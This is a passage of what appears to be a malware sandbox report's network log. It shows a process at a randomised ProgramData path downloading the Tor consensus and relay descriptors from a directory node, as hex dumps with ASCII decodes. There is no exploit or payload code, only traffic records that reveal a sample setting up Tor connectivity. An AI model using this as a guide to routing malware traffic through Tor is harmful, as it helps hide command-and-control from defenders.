53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 63 6f 6d 6d 65 6e 64 65 64 2d 72 65 6c 61 79 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 33 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 71 75 69 72 65 64 2d 63 6c 69 65 6e 74 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 4c 69 6e 6b 3d 34 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 71 75 69 72 65 64 2d 72 65 6c 61 79 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 33 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 70 61 72 61 6d 73 20 43 69 72 63 75 69 74 50 72 69 6f 72 69 74 79 48 61 6c 66 6c 69 66 65 4d 73 65 63 3d 33 30 30 30 30 20 44 6f 53 43 69 72 63 75 69 74 43 72 65 61 74 69 6f 6e 42 75 72 73 74 3d 36 30 20 44 6f 53 43 69 72 63 75 69 74 43 72 65 61 Data Ascii: network-status-version 3vote-status consensusconsensus-method 32valid-after 2022-12-11 08:00:00fresh-until 2022-12-11 09:00:00valid-until 2022-12-11 11:00:00voting-delay 300 300client-versions 0.4.5.6,0.4.5.7,0.4.5.8,0.4.5.9,0.4.5.10,0.4.5.11,0.4.5.12,0.4.5.14,0.4.5.15,0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12server-versions 0.4.5.6,0.4.5.7,0.4.5.8,0.4.5.9,0.4.5.10,0.4.5.11,0.4.5.12,0.4.5.14,0.4.5.15,0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Validrecommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2required-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2params CircuitPriorityHalflifeMsec=30000 DoSCircuitCreationBurst=60 DoSCircuitCrea
Dec 11, 2022 09:26:40.176141977 CET	5334	IN	Data Raw: 74 69 6f 6e 45 6e 61 62 6c 65 64 3d 31 20 44 6f 53 43 69 72 63 75 69 74 43 72 65 61 74 69 6f 6e 4d 69 6e 43 6f 6e 6e 65 63 74 69 6f 6e 73 3d 32 20 44 6f 53 43 69 72 63 75 69 74 43 72 65 61 74 69 6f 6e 52 61 74 65 3d 32 20 44 6f 53 43 6f 6e 6e 65 Data Ascii: tionEnabled=1 DoSCircuitCreationMinConnections=2 DoSCircuitCreationRate=2 DoSConnectionEnabled=1 DoSConnectionMaxConcurrentCount=50 DoSRefuseSingleHopClientRendezvous=1 ExtendByEd25519ID=1 KISTSchedRunInterval=2 NumNTorsPerTAP=100 UseOptimisti
Dec 11, 2022 09:26:40.176202059 CET	5336	IN	Data Raw: 65 5f 70 65 72 63 65 6e 74 3d 35 30 30 20 73 65 6e 64 6d 65 5f 65 6d 69 74 5f 6d 69 6e 5f 76 65 72 73 69 6f 6e 3d 31 0a 73 68 61 72 65 64 2d 72 61 6e 64 2d 70 72 65 76 69 6f 75 73 2d 76 61 6c 75 65 20 38 20 4f 55 58 73 33 33 5a 36 6a 77 43 61 43 Data Ascii: e_percent=500 sendme_emit_min_version=1shared-rand-previous-value 8 OUXs33Z6jwCaC7+01M0edsV3bfQTozE0XT1G+S9nMBM=shared-rand-current-value 8 zXIuCMixcVdQiw7MqOKRh96/AoG3SQusUgMfgw4Gezk=dir-source dannenberg 0232AF901C31A04EE9848595AF9BB7620D
Dec 11, 2022 09:26:40.176261902 CET	5337	IN	Data Raw: 36 36 2e 33 33 2e 34 35 20 38 30 20 34 34 33 0a 63 6f 6e 74 61 63 74 20 65 6d 61 69 6c 3a 75 73 75 72 61 5b 5d 73 61 62 6f 74 61 67 65 2e 6f 72 67 20 75 72 6c 3a 68 74 74 70 73 3a 2f 2f 33 38 36 62 73 64 2e 6e 65 74 20 70 72 6f 6f 66 3a 75 72 69 Data Ascii: 66.33.45 80 443contact email:usura[]sabotage.org url:https://386bsd.net proof:uri-rsa abuse:abuse[]sabotage.net twitter:adejoode ciissversion:2vote-digest 69686C901A02C875F25F646E9DE068CADA61BFB9dir-source gabelmoo ED03BB616EB2F60BEC8015111
Dec 11, 2022 09:26:40.176321983 CET	5338	IN	Data Raw: 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 77 20 42 61 6e 64 77 69 64 74 68 3d 33 31 30 30 30 0a 70 20 61 63 63 65 70 74 20 32 30 2d 32 33 2c 34 33 2c 35 33 2c 37 39 2d 38 31 2c 38 38 2c 31 31 30 2c 31 34 33 2c 31 39 34 2c 32 32 30 2c 33 Data Ascii: ding=2 Relay=1-4w Bandwidth=31000p accept 20-23,43,53,79-81,88,110,143,194,220,389,443,464,531,543-544,554,563,636,706,749,873,902-904,981,989-995,1194,1220,1293,1500,1533,1677,1723,1755,1863,2082-2083,2086-2087,2095-2096,2102-2104,3128,3389
Dec 11, 2022 09:26:40.176386118 CET	5339	IN	Data Raw: 76 20 54 6f 72 20 30 2e 34 2e 37 2e 31 31 0a 70 72 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 Data Ascii: v Tor 0.4.7.11pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=11000p reject 1-65535r suominode AFYmkM8z9TfE9MlYdlX3Rphoxzo St+sEFoocvWpEPAG1fBXF
Dec 11, 2022 09:26:40.176446915 CET	5341	IN	Data Raw: 20 5b 32 61 30 33 3a 65 36 30 30 3a 31 30 30 3a 3a 37 33 5d 3a 38 30 38 30 0a 73 20 45 78 69 74 20 46 61 73 74 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 56 61 6c 69 64 0a 76 20 54 6f 72 20 30 2e 34 2e 38 2e 30 2d 61 6c 70 68 61 2d 64 65 76 Data Ascii: [2a03:e600:100::73]:8080s Exit Fast Running Stable Validv Tor 0.4.8.0-alpha-devpr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=27000p accept 8
Dec 11, 2022 09:26:40.176505089 CET	5342	IN	Data Raw: 4d 70 4f 73 50 77 4c 6e 4b 7a 4e 73 6a 64 6b 4d 51 20 32 30 32 32 2d 31 32 2d 31 30 20 32 30 3a 34 36 3a 30 32 20 31 39 39 2e 32 34 39 2e 32 33 30 2e 31 30 33 20 34 34 33 20 30 0a 61 20 5b 32 36 32 30 3a 37 3a 36 30 30 31 3a 3a 31 30 33 5d 3a 38 Data Ascii: MpOsPwLnKzNsjdkMQ 2022-12-10 20:46:02 199.249.230.103 443 0a [2620:7:6001::103]:80s Exit Fast Guard HSDir Running Stable V2Dir Validv Tor 0.4.7.10pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth
Dec 11, 2022 09:26:40.176565886 CET	5343	IN	Data Raw: 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 Data Ascii: =1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=24000p accept 20-21,43,53,79-81,88,110,143,220,389,443,464,531,543-544,554,636,706,749,873,902-904,981,989-993,995,1194,1220,1293,1500,153
Dec 11, 2022 09:26:40.176626921 CET	5345	IN	Data Raw: 2e 37 2e 37 0a 70 72 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c Data Ascii: .7.7pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=110p reject 1-65535r effiorg1984 AMzmqE5tY6GkLhBYObyO1dSxZmk 8OYcUi8kTKuY2BCX2ZaZN/s9v9w 202
Dec 11, 2022 09:26:40.176686049 CET	5346	IN	Data Raw: 33 20 35 2e 39 2e 35 36 2e 32 34 39 20 34 30 38 30 20 30 0a 61 20 5b 32 61 30 31 3a 34 66 38 3a 31 36 31 3a 35 32 63 62 3a 3a 32 5d 3a 34 30 38 30 0a 73 20 46 61 73 74 20 48 53 44 69 72 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 56 32 44 69 Data Ascii: 3 5.9.56.249 4080 0a [2a01:4f8:161:52cb::2]:4080s Fast HSDir Running Stable V2Dir Validv Tor 0.4.7.10pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Band

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.3	49740	84.144.111.46	9031	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:41.497925997 CET	7817	OUT	GET /tor/server/fp/45bc9917f7e13770736bbffc22e6f170e14e16ec HTTP/1.0 Host: 84.144.111.46 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:41.543423891 CET	7818	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:27 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:26:27 GMT Data Raw: 72 6f 75 74 65 72 20 47 61 6c 61 78 79 4e 65 77 73 52 61 64 69 6f 20 38 34 2e 36 32 2e 32 34 35 2e 36 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 55 78 41 56 62 73 31 50 49 30 56 44 45 46 55 7a 35 35 66 52 66 78 68 2b 37 4d 47 4e 72 41 35 74 35 61 4e 33 49 65 73 47 66 73 55 71 78 51 41 51 41 67 42 41 42 42 51 48 4b 77 0a 4d 38 49 47 67 51 39 64 4b 32 52 34 4e 4d 67 7a 73 4c 7a 2f 6f 6e 78 33 46 51 49 74 75 78 52 76 69 4d 74 36 48 57 68 53 4b 63 6f 6a 36 65 77 45 6c 4e 6e 61 50 34 59 6f 45 53 4d 7a 64 6d 76 73 0a 4b 55 72 72 7a 59 65 4c 65 6a 77 33 33 70 55 48 38 71 4b 43 70 72 6f 41 37 33 58 6d 2b 64 52 79 44 38 53 32 72 36 2b 46 53 72 6b 76 43 77 55 75 78 74 41 6b 50 41 35 31 62 51 55 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 51 55 42 79 73 44 50 43 42 6f 45 50 58 53 74 6b 65 44 54 49 4d 37 43 38 2f 36 4a 38 64 78 55 43 4c 62 73 55 62 34 6a 4c 65 68 30 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 4f 70 65 6e 42 53 44 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 31 20 30 31 3a 31 34 3a 34 37 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 34 35 42 43 20 39 39 31 37 20 46 37 45 31 20 33 37 37 30 20 37 33 36 42 20 42 46 46 43 20 32 32 45 36 20 46 31 37 30 20 45 31 34 45 20 31 36 45 43 0a 75 70 74 69 6d 65 20 31 32 39 37 39 34 0a 62 61 6e 64 77 69 64 74 68 20 32 30 34 38 30 30 30 20 34 30 39 36 30 30 30 20 32 33 35 34 36 36 32 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 44 35 35 35 45 35 42 33 38 32 30 38 46 33 42 35 34 43 39 34 36 36 33 42 44 41 34 42 42 41 39 45 41 34 36 38 38 39 35 33 20 46 6b 7a 77 47 61 56 66 32 64 33 57 75 4a 35 31 35 38 67 47 47 5a 38 49 46 6e 37 38 30 6c 70 48 34 55 42 48 47 51 52 6c 79 4b 6f 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 59 39 51 49 68 2f 79 69 58 64 4a 51 31 79 51 58 64 6a 53 6f 6e 68 54 6b 6a 41 67 58 4d 34 58 7a 6e 38 75 78 77 79 44 73 4e 7a 65 57 6a 31 54 5a 45 54 36 5a 57 5a 0a 6c 32 47 52 4b 41 4e 46 77 46 53 56 52 49 63 6d 69 34 33 75 75 63 54 69 43 7a 48 31 65 72 53 72 57 30 6b 52 4a 62 65 62 4a 65 4a 68 43 35 77 69 74 51 52 76 4a 49 63 6b 75 79 49 4f 74 37 30 64 0a 43 68 76 31 36 6b 77 55 4a 4d 69 63 7a 79 44 70 59 2f 77 37 5a 6c 32 76 43 6c 6a 59 69 6e 79 33 73 4b 57 42 70 58 41 35 5a 41 61 2b 79 4e 75 70 67 42 6e 35 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 42 46 39 45 44 68 4c 53 Data Ascii: router GalaxyNewsRadio 84.62.245.6 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxUxAVbs1PI0VDEFUz55fRfxh+7MGNrA5t5aN3IesGfsUqxQAQAgBABBQHKwM8IGgQ9dK2R4NMgzsLz/onx3FQItuxRviMt6HWhSKcoj6ewElNnaP4YoESMzdmvsKUrrzYeLejw33pUH8qKCproA73Xm+dRyD8S2r6+FSrkvCwUuxtAkPA51bQU=-----END ED25519 CERT-----master-key-ed25519 QUBysDPCBoEPXStkeDTIM7C8/6J8dxUCLbsUb4jLeh0platform Tor 0.4.7.10 on OpenBSDproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-11 01:14:47fingerprint 45BC 9917 F7E1 3770 736B BFFC 22E6 F170 E14E 16ECuptime 129794bandwidth 2048000 4096000 2354662extra-info-digest D555E5B38208F3B54C94663BDA4BBA9EA4688953 FkzwGaVf2d3WuJ5158gGGZ8IFn780lpH4UBHGQRlyKoonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALY9QIh/yiXdJQ1yQXdjSonhTkjAgXM4Xzn8uxwyDsNzeWj1TZET6ZWZl2GRKANFwFSVRIcmi43uucTiCzH1erSrW0kRJbebJeJhC5witQRvJIckuyIOt70dChv16kwUJMiczyDpY/w7Zl2vCljYiny3sKWBpXA5ZAa+yNupgBn5AgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALBF9EDhLS

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.3	49741	84.144.111.46	9031	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:41.668864965 CET	7821	OUT	GET /tor/server/fp/742091486d04734c57d97bcefb53d22ed0b77881 HTTP/1.0 Host: 84.144.111.46 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:41.714632034 CET	7823	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:27 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:26:27 GMT Data Raw: 72 6f 75 74 65 72 20 65 66 66 69 6f 72 67 6f 75 6c 75 20 31 38 35 2e 36 37 2e 38 32 2e 31 31 34 20 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 62 56 41 5a 64 7a 4a 32 68 6a 4c 57 64 38 35 2f 72 59 2f 49 2f 78 4e 48 33 61 62 46 77 74 2f 72 5a 5a 54 43 38 75 67 6f 66 59 59 44 4c 75 41 51 41 67 42 41 44 70 6f 7a 46 6c 0a 70 52 74 58 35 53 6e 76 46 6f 48 62 35 4f 43 4c 71 4a 54 5a 4b 42 6f 31 4a 64 51 63 42 68 6c 6f 77 4e 61 7a 65 4c 53 66 46 4c 45 35 53 6d 6e 39 67 50 78 41 49 36 59 38 65 75 59 42 44 67 4d 4c 0a 43 44 54 78 6f 5a 5a 73 48 42 52 39 31 36 78 57 78 6b 71 42 59 76 2b 48 56 71 49 53 51 51 44 79 61 4b 6c 4d 47 69 67 38 42 73 45 6a 37 78 6a 7a 35 65 6c 67 30 4a 49 73 53 77 34 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 36 61 4d 78 5a 61 55 62 56 2b 55 70 37 78 61 42 32 2b 54 67 69 36 69 55 32 53 67 61 4e 53 58 55 48 41 59 5a 61 4d 44 57 73 33 67 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 37 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 31 20 30 36 3a 34 30 3a 32 38 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 37 34 32 30 20 39 31 34 38 20 36 44 30 34 20 37 33 34 43 20 35 37 44 39 20 37 42 43 45 20 46 42 35 33 20 44 32 32 45 20 44 30 42 37 20 37 38 38 31 0a 75 70 74 69 6d 65 20 34 38 33 38 34 34 34 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 39 32 30 32 31 35 30 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 42 46 36 42 37 37 42 44 33 34 33 39 36 32 45 42 42 38 30 37 36 44 31 45 42 42 39 38 35 36 45 35 36 38 32 34 33 30 44 35 20 6b 4a 51 74 54 73 74 4e 36 36 72 37 44 6e 66 66 71 68 6a 63 54 47 4c 65 44 4e 37 32 65 6f 45 68 71 61 42 39 55 34 48 57 6b 77 4d 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4f 4f 57 57 34 43 6e 65 6c 77 44 53 49 59 51 36 6b 76 69 39 64 47 70 4c 4c 6f 38 41 62 56 38 66 5a 6a 55 41 42 6f 2f 75 64 6b 55 33 62 58 63 32 68 39 34 4e 4f 33 49 0a 78 57 59 66 54 6a 6d 35 6b 68 79 66 6e 6e 67 36 6a 70 79 54 44 62 46 43 66 4c 59 4c 6f 44 51 6b 61 71 53 75 4d 31 46 37 51 5a 75 48 4a 4b 79 47 42 6c 4c 67 4a 4e 56 2b 61 33 78 4b 6a 74 49 77 0a 34 61 45 7a 6f 31 4f 46 51 42 58 32 49 4e 47 4e 52 32 37 30 6b 2f 6e 62 68 4e 63 4f 31 41 36 4b 66 69 6c 38 57 4a 63 6e 77 41 4e 68 33 51 59 70 4a 56 37 76 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 64 61 4f 2f 50 38 4f Data Ascii: router effiorgoulu 185.67.82.114 443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxbVAZdzJ2hjLWd85/rY/I/xNH3abFwt/rZZTC8ugofYYDLuAQAgBADpozFlpRtX5SnvFoHb5OCLqJTZKBo1JdQcBhlowNazeLSfFLE5Smn9gPxAI6Y8euYBDgMLCDTxoZZsHBR916xWxkqBYv+HVqISQQDyaKlMGig8BsEj7xjz5elg0JIsSw4=-----END ED25519 CERT-----master-key-ed25519 6aMxZaUbV+Up7xaB2+Tgi6iU2SgaNSXUHAYZaMDWs3gplatform Tor 0.4.7.7 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-11 06:40:28fingerprint 7420 9148 6D04 734C 57D9 7BCE FB53 D22E D0B7 7881uptime 4838444bandwidth 1073741824 1073741824 9202150extra-info-digest BF6B77BD343962EBB8076D1EBB9856E5682430D5 kJQtTstN66r7DnffqhjcTGLeDN72eoEhqaB9U4HWkwMonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAOOWW4CnelwDSIYQ6kvi9dGpLLo8AbV8fZjUABo/udkU3bXc2h94NO3IxWYfTjm5khyfnng6jpyTDbFCfLYLoDQkaqSuM1F7QZuHJKyGBlLgJNV+a3xKjtIw4aEzo1OFQBX2INGNR270k/nbhNcO1A6Kfil8WJcnwANh3QYpJV7vAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALdaO/P8O

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.3	49742	84.144.111.46	9031	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:42.000152111 CET	7829	OUT	GET /tor/server/fp/45bc9917f7e13770736bbffc22e6f170e14e16ec HTTP/1.0 Host: 84.144.111.46 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:42.045800924 CET	7830	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:27 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:26:27 GMT Data Raw: 72 6f 75 74 65 72 20 47 61 6c 61 78 79 4e 65 77 73 52 61 64 69 6f 20 38 34 2e 36 32 2e 32 34 35 2e 36 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 55 78 41 56 62 73 31 50 49 30 56 44 45 46 55 7a 35 35 66 52 66 78 68 2b 37 4d 47 4e 72 41 35 74 35 61 4e 33 49 65 73 47 66 73 55 71 78 51 41 51 41 67 42 41 42 42 51 48 4b 77 0a 4d 38 49 47 67 51 39 64 4b 32 52 34 4e 4d 67 7a 73 4c 7a 2f 6f 6e 78 33 46 51 49 74 75 78 52 76 69 4d 74 36 48 57 68 53 4b 63 6f 6a 36 65 77 45 6c 4e 6e 61 50 34 59 6f 45 53 4d 7a 64 6d 76 73 0a 4b 55 72 72 7a 59 65 4c 65 6a 77 33 33 70 55 48 38 71 4b 43 70 72 6f 41 37 33 58 6d 2b 64 52 79 44 38 53 32 72 36 2b 46 53 72 6b 76 43 77 55 75 78 74 41 6b 50 41 35 31 62 51 55 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 51 55 42 79 73 44 50 43 42 6f 45 50 58 53 74 6b 65 44 54 49 4d 37 43 38 2f 36 4a 38 64 78 55 43 4c 62 73 55 62 34 6a 4c 65 68 30 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 4f 70 65 6e 42 53 44 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 31 20 30 31 3a 31 34 3a 34 37 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 34 35 42 43 20 39 39 31 37 20 46 37 45 31 20 33 37 37 30 20 37 33 36 42 20 42 46 46 43 20 32 32 45 36 20 46 31 37 30 20 45 31 34 45 20 31 36 45 43 0a 75 70 74 69 6d 65 20 31 32 39 37 39 34 0a 62 61 6e 64 77 69 64 74 68 20 32 30 34 38 30 30 30 20 34 30 39 36 30 30 30 20 32 33 35 34 36 36 32 0a 65 78 74 72 61 